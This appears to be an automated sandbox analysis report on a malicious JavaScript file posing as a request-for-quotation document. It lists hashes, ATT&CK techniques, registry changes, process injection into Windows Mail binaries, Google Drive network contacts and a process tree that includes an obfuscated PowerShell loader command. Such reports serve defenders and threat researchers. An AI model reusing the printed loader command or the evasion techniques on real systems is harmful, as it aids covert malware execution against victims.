66a49153b7990f817af28475a81d3b8493712b918b39e34bbc98db2757e6e3a6

Analysis

max time kernel
298s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/07/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ Universitatea de Vest din Timișoara 29-07-26.js
Size 35KB
Sample260730-e6a9nsbg49
SHA256 66a49153b7990f817af28475a81d3b8493712b918b39e34bbc98db2757e6e3a6
MD5 4777022fddc0fa84e1caf1c3f1d4f343
SHA1 d8a518d6a131386d83312cfd718bfc6cfb4f93b1
SHA512 fc00dd17bb3a34b47cbc4fef57144ce5c28df6655bc383da5accd8f144b466f786aab6bf3baa5a4bb63f886d3c4cc1baaf569ad138399aa44d82de3b33d8544a
SSDEEP 768:sG4Gt2nojyiG2vY1cW6hY08vChc4FTOHhmOJl4qABSFkzMd2upEL:sG4G0nou9hv6DYfQTOB6SFkMEL
TLSH
T1EEF2B618C91914F20EE767C81CA70D70C4EDE998A96A7460969FC32FF405FD8E63E2B5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware discovery execution spyware

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4540	wscript.exe
7	4540	wscript.exe
8	4540	wscript.exe
10	5424	powershell.exe
12	5424	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	wscript.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
9	drive.google.com
10	drive.google.com
23	drive.google.com
41	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4868	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2452	powershell.exe
4868	wabmig.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 20 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5696	explorer.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
5424	powershell.exe
5424	powershell.exe
5424	powershell.exe
5424	powershell.exe
5424	powershell.exe
5424	powershell.exe
5424	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
4868	wabmig.exe
4868	wabmig.exe
4868	wabmig.exe
4868	wabmig.exe
4868	wabmig.exe
4868	wabmig.exe
4868	wabmig.exe

Suspicious behavior: MapViewOfSection 11 IoCs

pid	Process
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5424	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5696	explorer.exe
5696	explorer.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4540 wrote to memory of 5984	4540	wscript.exe	88
PID 5696 wrote to memory of 5424	5696	explorer.exe	90
PID 2452 wrote to memory of 2424	2452	powershell.exe	101
PID 2452 wrote to memory of 3532	2452	powershell.exe	102
PID 2452 wrote to memory of 500	2452	powershell.exe	103
PID 2452 wrote to memory of 2432	2452	powershell.exe	104
PID 2452 wrote to memory of 2456	2452	powershell.exe	105
PID 2452 wrote to memory of 1660	2452	powershell.exe	106
PID 2452 wrote to memory of 2552	2452	powershell.exe	107
PID 2452 wrote to memory of 5052	2452	powershell.exe	108
PID 2452 wrote to memory of 6020	2452	powershell.exe	109
PID 2452 wrote to memory of 5484	2452	powershell.exe	110
PID 2452 wrote to memory of 1156	2452	powershell.exe	111
PID 2452 wrote to memory of 4868	2452	powershell.exe	112
PID 2452 wrote to memory of 4868	2452	powershell.exe	112
PID 4868 wrote to memory of 3012	4868	wabmig.exe	114

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ Universitatea de Vest din Timișoara 29-07-26.js"
1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" C:\
  2⤵
  PID:5984

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Subrepent156='/app'+'data';$Bysteh=gc ($home+$Subrepent156+'/local/Akkordeone');$Benimelect=$Bysteh[3263]+$Bysteh[3264]+$Bysteh[3265]; . ($Benimelect) $Bysteh"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5424

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Subrepent156='/app'+'data';$Bysteh=gc ($home+$Subrepent156+'/local/Akkordeone');$Benimelect=$Bysteh[3263]+$Bysteh[3264]+$Bysteh[3265]; . ($Benimelect) $Bysteh"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:2424
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:3532
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:500
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:2432
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:2456
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:1660
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:2552
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:5052
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:6020
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:5484
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:1156
- C:\Program Files (x86)\Windows Mail\wabmig.exe
  "C:\Program Files (x86)\Windows Mail\wabmig.exe"
  2⤵
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Program Files (x86)\Windows Mail\wab.exe
    "C:\Program Files (x86)\Windows Mail\wab.exe"
    3⤵
    PID:3012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ad171cb53a14c3e5470d492a5bb2fba2a52ff7a14006362c714dfabe8e85f572
MD5 f2c57b8aa242cb4947b2af20a1bd8ea3
SHA1 ee58d3a03e82471bc385d0e9e35e87265067fff3
SHA512 495b9fcf7bffa35669935a548055c81eb46db2f779f23c1dfbd978270c7abb4438c207f247a594537082888d9414e5581ee31a6b3c450856ebd6bdeb2948102a
TLSH
T12121AA27F3DC8A21CC86023A109D9C1136B283C7809FCF9FAFC0D614A1BF599CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_eoer4bym.ufn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eoer4bym.ufn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Kwmikali.Afr

Path C:\Users\Admin\AppData\Roaming\Kwmikali.Afr
Size 202KB
SHA256 7fd1c950d08813070b529bc789544d53e58fec60a3db28f87a0fb03e40c9bba1
MD5 32fb172104a5407b457ec180894066cb
SHA1 98dd258cf70ad8e8c1328466b70732eaf963a8c0
SHA512 ad143b62ac797bc20f3e6adb93161da287de54d79ef8e713c34dfd81effc31ecfbfec6419fd38ea964ccfa48f25b4d0eb014aa0d84dbca06d8f982305ec34a96
SSDEEP 6144:eXwRcttazelcM6dISRRRRRRRRRRRRRRRRRRRWsgWN3z3tLlFB:tRcra2cMQRRRRRRRRRRRRRRRRRRRWI3P
TLSH
T125140125C25C7E5B970227F43D37CB5DA3C9F05A54C325C26EE2EB046E0B58287F2AA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Akkordeone

Path C:\Users\Admin\appdata\local\Akkordeone
Size 3KB
SHA256 8a74ece42eba40dcca8962913e3413205876b2ae38eca9bd1816d18ec13909d1
MD5 c974b6c6aa03510b6a636577566f22ce
SHA1 67be066cd31c6bb63acfb80423de07f5912968ba
SHA512 2b53f73c597a6cd50ba38914ec9987f377452f2871702907a94b645057fe05a69122d2389546362b00dd0328fbdc052f3218c9199558440cbe2e9c0108c064cd
TLSH
T105619689CB6E6B70D7081950A09F7ECABCE33C0A2861694DF9304A465CB047C1263CFC
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2452-30-0x0000000006760000-0x000000000677E000-memory.dmp

Download

memory/2452-33-0x0000000006C20000-0x0000000006C3A000-memory.dmp

Download

memory/2452-19-0x0000000005840000-0x00000000058A6000-memory.dmp

Download

memory/2452-20-0x00000000058B0000-0x0000000005916000-memory.dmp

Download

memory/2452-28-0x0000000006120000-0x0000000006474000-memory.dmp

Download

memory/2452-17-0x0000000005970000-0x0000000005F98000-memory.dmp

Download

memory/2452-16-0x0000000002E40000-0x0000000002E76000-memory.dmp

Download

memory/2452-31-0x0000000006CB0000-0x0000000006CFC000-memory.dmp

Download

memory/2452-34-0x0000000006D10000-0x0000000006D32000-memory.dmp

Download

memory/2452-18-0x00000000057A0000-0x00000000057C2000-memory.dmp

Download

memory/2452-32-0x0000000007760000-0x00000000077F6000-memory.dmp

Download

memory/2452-35-0x0000000007FE0000-0x0000000008584000-memory.dmp

Download

memory/2452-36-0x0000000008C10000-0x000000000928A000-memory.dmp

Download

memory/2452-38-0x0000000009290000-0x000000000BE14000-memory.dmp

Download

memory/4868-39-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/4868-49-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/5424-10-0x000002C5FE1F0000-0x000002C5FE212000-memory.dmp

Download